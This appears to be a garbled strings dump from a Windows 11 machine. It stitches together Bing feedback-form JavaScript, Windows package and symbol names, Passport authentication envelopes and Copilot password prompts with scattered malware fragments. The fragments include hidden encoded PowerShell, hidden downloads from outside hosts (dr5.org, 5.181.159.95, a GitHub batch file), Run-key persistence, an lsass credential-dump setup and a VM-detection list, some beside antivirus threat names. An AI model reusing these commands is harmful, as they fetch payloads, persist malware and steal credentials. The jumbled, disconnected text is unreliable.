bel",this.GetLocString("DIALOG_COMMENT_LABEL"));r.setAttribute("data-err",this.GetLocString("DIALOG_COMMENT_ERROR_TEXT"));r.removeAttribute("required");r.setAttribute("aria-required","true");a=sj_ce("div","fbpgdgpnl","step1");i.appendChild(a);s=t?undefined:this.AddLabeledInputSdk(a,"checkbox",this.GetLocString("DIALOG_INCLUDE_SCREENSHOT"),this.screenshotChkName,!0,undefined,"hlig fb-t-small fb-mrg-med","hlig","hlig","fbpgdgsschk");v=sj_ce("div","fbml");i.appendChild(v);this.CheckInternal(v);y=sj_ce("div","fbpgdgpnlrp");i.appendChild(y);p=sj_ce("p");y.appendChild(p);this.AddLink(p,"fbpgdgpslk",this.reportPrivacyPolicyUrl,this.GetLocString("REPORT_LEGAL_OR_PRIVACY_CONCERN"));w=sj_ce("div","fbpgdgpnl2","step1");i.appendChild(w);b=sj_ce("div");w.appendChild(b);k=sj_ce("p");b.appendChild(k);var ot=this.AddLink(k,"fbpgdgpslk",this.privacyPolicyUrl,this.GetLocString("PRIVACY_STATEMENT_LINK_TEXT")),d=sj_ce("div",null,"container"),it=sj_ce("div",null,"button step1 hlig send");return d.appendChild(it),e=sj_ce("input","fbpgdgsbbt","hlig"),e.type="submit",e.value=this.GetLocString("DIALOG_SEND_BUTTON_TEXT"),it.appendChild(e),g=sj_ce("div",null,"button step1 hlig cancel"),d.appendChild(g),o=sj_ce("input","fbpgdgcnclbt","hlig"),o.type="button",o.value=this.GetLocString("DIALOG_CANCEL_BUTTON_TEXT"),g.appendChild(o),i.appendChild(d),sj_be(o,"click",this.OnCloseForm.bind(this)),sj_be(e,"click",this.OnSubmitForm.bind(this)),f.appendChild(i),Feedback.Core.EnableValidation(f,!1),Feedback.Core.LoopFocus(f),_d.body.appendChild(nt),rt=_ge(n)||_d.body,rt.appendChild(f),typeof TestHooksEnabled!="undefined"&&TestHooksEnabled===!0&&(f.setAttribute("data-tag","WindowsFeedback.Form"),tt.setAttribute("data-tag","WindowsFeedback.FormTitle"),ut.setAttribute("data-tag","WindowsFeedback.SuggestRadioButton"),ft.setAttribute("data-tag","WindowsFeedback.LikeRadioButton"),et.setAttribute("data-tag","WindowsFeedback.DislikeRadioButton"),r.setAttribute("data-tag","WindowsFeedback.VerbatimTextArea"),s===null||s===void 0?void 0:s.setAttribute("data-tag","WindowsFeedback.IncludeScreenshotCheckbox"),ot.setAttribute("data-tag","WindowsFeedback.PrivacyLink"),e.setAttribute("data-tag","WindowsFeedback.SubmitButton"),o.setAttribute("data-tag","WindowsFeedback.CloseButton")),f},t.prototype.AddInternalFormElements=function(n){var h=this.GetAlias(),c="fbpgdgml",r=sj_ce("div",null,"hlig step1 internal fb-t-small"),l,u,i,a,f,o,v,e,y,s,t;this.AddText(r,"h3",this.GetLocString("DIALOG_MSFT_INTERNAL"));r.setAttribute("aria-label",this.GetLocString("DIALOG_MSFT_INTERNAL"));n.appendChild(r);l=sj_ce("div",null,"hlig fb-mrg-med");u=sj_ce("label",null,"hlig outerlabel");u.htmlFor=c;l.appendChild(u);i=sj_ce("input",c,"hlig");i.type="checkbox";i.name=this.sendmailChkName;i.checked=!0;u.appendChild(i);a=sj_ce("span",null,i.type+"Decoration");u.appendChild(a);f=sj_ce("div",null,"SendMailText");u.appendChild(f);o=sj_ce("label",null,"hlig");o.htmlFor=c;v=this.GetLocString("DIALOG_SEND_EMAIL_LABEL").replace("{0}","Bing");o.appendChild(_d.createTextNode(v));f.appendChild(o);e=sj_ce("span");e.dir="ltr";e.innerHTML+="&nbsp;(";y=this.AddLink(e,null,this.dlLink,this.dlAlias);y.className="hlig";e.innerHTML+=")";f.appendChild(e);s=sj_ce("label",null,"hlig");s.htmlFor="fbpgdgal";s.appendChild(_d.createTextNode(this.GetLocString("DIALOG_ALIAS_LABEL")));f.appendChild(s);f.appendChild(sj_ce("br",null,"hlig"));r.appendChild(l);t=sj_ce("input","fbpgdgal","hlig");t.type="text";t.placeholder=this.GetLocString("DIALOG_ALIAS_TEXT");t.name=this.aliasTxtName;t.setAttribute("data-err",this.GetLocString("DIALOG_ALIAS_ERROR_TEXT"));t.setAttribute("data-depends-on",c);t.required=!0;r.appendChild(t);h!=null&&h!=t.placeholder&&h!=t.getAttribute("data-err")&&(t.value=h);n.appendChild(r);sj_be(i,"click",function(){i.checked?t.removeAttribute("disabled"):(t.setAttribute("disabled","true"),Lib.CssClass.remove(t,"error"),t.value==t.getAttribute("data-err")&&(t.value=""));Lib.CssClass.toggle(s,"disabled");Lib.CssClass.toggle(o,"disabled")});Feedback.Core.EnableValidation(r,!1)},t.prototype.ResetShowForm=function(){for(
C:\WINDOWS\system32\
rguments>-nologo-executionpolicybypass-noninteractive-windowstylehidden-encodedcommandjabfahiacgbvahiaqqbjahqaaqbvag4auabyaguazgblahiazqbuagmazqa9aciacwb0ag8acaaiadsa
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient
Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.pdb
Xembalming.cmd$..\..\..\..\obediences\embalming.cmdc:\windows\system32\zipfldr.dll
:\windows\system32\
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddenecho
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1.\w*\s*2\m*ht*e
ext-ms-win-ntuser-windowstation-l1-1-0.dll
windows.fileTypeAssociation
GetSystemWindowsDirectoryA
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
.@OS=Windows_NT
 @LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
(@APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
(@DriverData=C:\Windows\System32\Drivers\DriverData
 @USERPROFILE=C:\WINDOWS\system32\config\systemprofile
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
 @MSAWindows/55 (OS 10.0.26200.0.0 ge_release; IDK 10.0.26100.7705 ge_release; Cfg 16.000.29325.00; Test 0)
/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
GetWindowsDirectoryW
HKLM\Software\Microsoft\Windows
HKCU\Software\Microsoft\Windows
\Windows\CurrentVersion\Run
WINDOWS11
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
GetSystemWindowsDirectoryW
csWindows31J
windows-1250
windows-1251
windows-1252
windows-1253
Windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
windows-874
Microsoft.Windows.CapabilityAccessManagerDesktop
Microsoft.Windows.StateRepository.Service
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.Connectivity.pdb
SetWindowsEventHookS
\Microsoft\Windows\Start Menu\Programs\Startup!#ALF:HSTR:Trojan:Win32/AddUser.H!bit
\Microsoft\Windows\Start Menu\Programs\Startup\
Et$nei="http://qq2999.info/"$sxi=""$str="regwrite("&"'"&"hkey_current_user\software\microsoft\windows\currentversion\run"&"'"&","&"'"&"ctfmon.exe"&"'"&","&"'"&"reg_sz"&"'"&","&"'"&"""d:\saion\tmp....................................\a.{d71c5380-d2a0-cd69-e3ee-e1002b3a309e}
Run" /v "Windows Lives" /t REG_SZ /d %exe%pac=file://%APPDATA:\=/%/%COMPUTERNAME%.pacecho "AutoConfigURL"="%pac%" >> "%appdata%\%USERNAME%.regcopy "%temp%\leiame.txt" "%appdata%\%COMPUTERNAME%.pacRansom:Win32/Genasom.FR
Windows
\main.findPidmain.setSilentProcessExitmain.setSeDebugPrivilegeSOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exeReportingModeDumpTypeLocalDumpFolderGlobalFlag
C:\WINDOWS\system32\svchost.exe
System.Windows.Forms.Design
%windir%\system32\%http://5.181.159.95/od/rejoice.amm
 @Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
WindowsConsumedAlready
Choose what windows show on the t/
TpmBaseServicesFunctions::GetWindowsAIKLocation
TpmBaseServicesFunctions::GetWindowsAIK
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ConfigCI-Onecore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MicrosoftWindowsFileExplorer
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.SharingWizard
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.Shell.Edp
fn="c:\windows\system32\spooisv.exe"
GetProcessWindowStation
WindowsInternalShellCommonTraceLoggingProvider
Microsoft.Windows.Shell.PlayToReceiverManager
Microsoft.Windows.OLE.Clipboard
Microsoft.Windows.PCA.PushApphelp
Microsoft.Windows.ClipboardHistory.Service
Microsoft.Windows.Shell.GameMode
Microsoft.Windows.Compatibility.PCA
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
-windowstylehidden-executionpolicybypass-file
coTRc:\windows\system32\cmd.exe/cstart/min
2`starter.exeobfuscatedbyagiledotnetattribute2473fbde-0c24-41a0-bb03-4ffbd69e78c6windowsimpersonationcontextPUA:MacOS/PerfectKeyLogger
WindowsCreateStringReference
GetWindowsDirectoryW
V@echooffsetlocalenabledelayedexpansionpowershell-noprofile-windowstylehidden-command"$
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows
<agent><os>Windows</os
c:/windows/system32/d
c:/windows/system32/d
pcshell\shell\applicationframe\frame\lib\windowserviceproxy.cpp
:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddeninvoke-expression$(get-content
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"$f='c:\users\
/&_exepath-uri"https://github.com/filer404xyz/filer/raw/refs/heads/main/onedrive.bat"$regpath="hkcu:\software\microsoft\windows\currentversion\run"
$badWords = @('john','abby','bruno','george','azure','1280x1024','john doe','display adapter','hyper-v','vmware','virtualbox','kvm','qemu','xen','parallels',$env:COMPUTERNAME.ToLower();foreach($w in $badWords){if($c.Contains($w)){$matches+="Computer: $w"}};try {$gpus = Get-CimInstance Win32_VideoControllerpowershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'httppowershell -WindowStyle Hidden -ExecutionPolicy Bypass -FileExploit:O97M/CVE-2017-0199.VDV!MTB
/Z,@echooffstart/mincmd/cpowershell.exe-windowstylehidden-command"invoke-webrequest-uri'http://dr5.org/in.mp3'-outfile'c:\users\
6\GameVersionUpdate1\\Windows NT\sms_log.txt/stat.wamme.cn/C8C/gl/cnzz
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Role
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_Role
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accRole
System.Windows.Forms.UnsafeNativeMethods.ISelectionProvider.CanSelectMultiple
System.Windows.Forms.UnsafeNativeMethods.ISelectionProvider.get_CanSelectMultiple
Windows.
Microsoft\Windows
jssoTISCALILIBEROVIRGILIOCLARENCEKATAWEBJUMPYVirgilioGoogleLGsony-jRFC157YRFC493zOvertureWwIiNnDdOoWwSs2Kk/rfc765wINDows2k0
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{CA4948B9-35E5-4977-A64A-5C71AA2A26CB}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{fc177c6f-a3d6-4bb0-b1fa-23d0cd9b005d}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:PackageSID>S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723</ps:PackageSID><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-24T08:00:45Z</wsu:Created><wsu:Expires>2026-02-24T08:05:45Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/
com.microsoft.windows.extensions.actionui
%SystemRoot%\system32\csrss.exe
ObjectDirectory=\Windows
Windows=On
SubSystemType=Windows
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Windows::WCP::Implementation::Rtl::CanSetSystemOwner
Windows::Auto<struct _SECURITY_DESCRIPTOR>::Assign
CreateNewWindows
CreateNewPseudoWindows
Unable to get procedure CreateNewWindows
CreateNewPseudoWindowsEx
Unable to get procedure CreateNewPseudoWindows
Unable to get procedure CreateNewPseudoWindowsEx
Windows::Identity::Rtl::CreateKeyformFromAttributesIntoBuffer
Windows::WCP::Implementation::Rtl::IsManifestCompressed
Windows::WCP::Implementation::Rtl::DecompressManifest
Windows::WCP::COM::DecompressManifest
WINDOWS_TRACING_FACILITY_
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Text.UnigramList
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
     name="Microsoft.Windows.Net.ipconfig"
TEMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{fc177c6f-a3d6-4bb0-b1fa-23d0cd9b005d}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:PackageSID>S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651</ps:PackageSID><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-24T08:04:41Z</wsu:Created><wsu:Expires>2026-02-24T08:09:41Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfATSNI_DS~:
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Media.h
5e^windows.appExtension
Microsoft.Windows.Security.CodeIntegrity.SACWintrustActivityVerbose
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
e detalje o platnoj kartici. Unesite svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
e lozinke. Unesite Windows lozinku da biste to dozvolili.Microsoft Copilot poku
ava da kopira lozinke. Otkucajte svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
ava da uredi lozinke. Otkucajte svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot 
e lozinke. Unesite Windows lozinku da biste to dozvolili.Microsoft Copilot poku
ava da uveze lozinke. Unesite Windows lozinku da biste to dozvolili.Microsoft Copilot 
a lozinkama. Otkucajte svoju lozinku za Windows da biste to dozvolili.Microsoft Copilot poku
e lozinke. Otkucajte svoju lozinku za Windows da biste to dozvolili.Na ovom ra
ke. Ponovo preuzmite Microsoft Copilot.Microsoft Copilot zahteva Windows 10 ili noviju verziju.Do
tion_version@23@@winrt@@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
